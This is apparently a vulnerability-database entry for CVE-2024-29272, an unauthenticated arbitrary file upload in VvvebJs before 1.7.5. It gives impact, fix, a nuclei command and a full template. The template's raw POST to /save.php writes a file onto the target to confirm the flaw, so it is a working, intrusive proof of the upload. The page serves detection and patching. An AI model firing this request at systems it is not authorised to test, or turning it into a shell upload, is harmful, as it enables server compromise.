VvvebJs < 1.7.5 - Arbitrary File Upload

mediumseverity

6.5CVSS score

9.4%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute arbitrary code and obtain sensitive information via the sanitizeFileName parameter in save.php.

Impact

Attackers can upload malicious files to the server, potentially leading to remote code execution.

Fix

Update VvvebJs to version 1.7.5 or later.

How to confirm it

Send: POST /save.php
Positive when: contains(body,"File saved") and status_code == 200
Send: GET /demo/landing/index.php
Positive when: contains(body,"{{md5(num)}}") and status_code == 200

Run it with nuclei: nuclei -id CVE-2024-29272 -u <target>

The full check

id: CVE-2024-29272

info:
  name: VvvebJs < 1.7.5 - Arbitrary File Upload
  author: s4e-io
  severity: medium
  description: |
    Arbitrary File Upload vulnerability in VvvebJs before version 1.7.5, allows unauthenticated remote attackers to execute arbitrary code and obtain sensitive information via the sanitizeFileName parameter in save.php.
  impact: |
    Attackers can upload malicious files to the server, potentially leading to remote code execution.
  remediation: |
    Update VvvebJs to version 1.7.5 or later.
  reference:
    - https://github.com/awjkjflkwlekfdjs/CVE-2024-29272/
    - https://github.com/givanz/VvvebJs/issues/343
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29272
    - https://vuldb.com/?id.257680
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2024-29272
    cwe-id: CWE-434
    epss-score: 0.09366
    epss-percentile: 0.95437
    cpe: cpe:2.3:a:vvvebjs:vvvebjs:1.7.4:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: vvvebjs
    product: vvvebjs
    fofa-query: icon_hash="524332373"
  tags: cve,cve2024,file-upload,intrusive,vuln

variables:
  num: "{{rand_int(1000, 9999)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /save.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        file=demo/landing/index.php&html={{md5(num)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"File saved")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /demo/landing/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body,"{{md5(num)}}")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from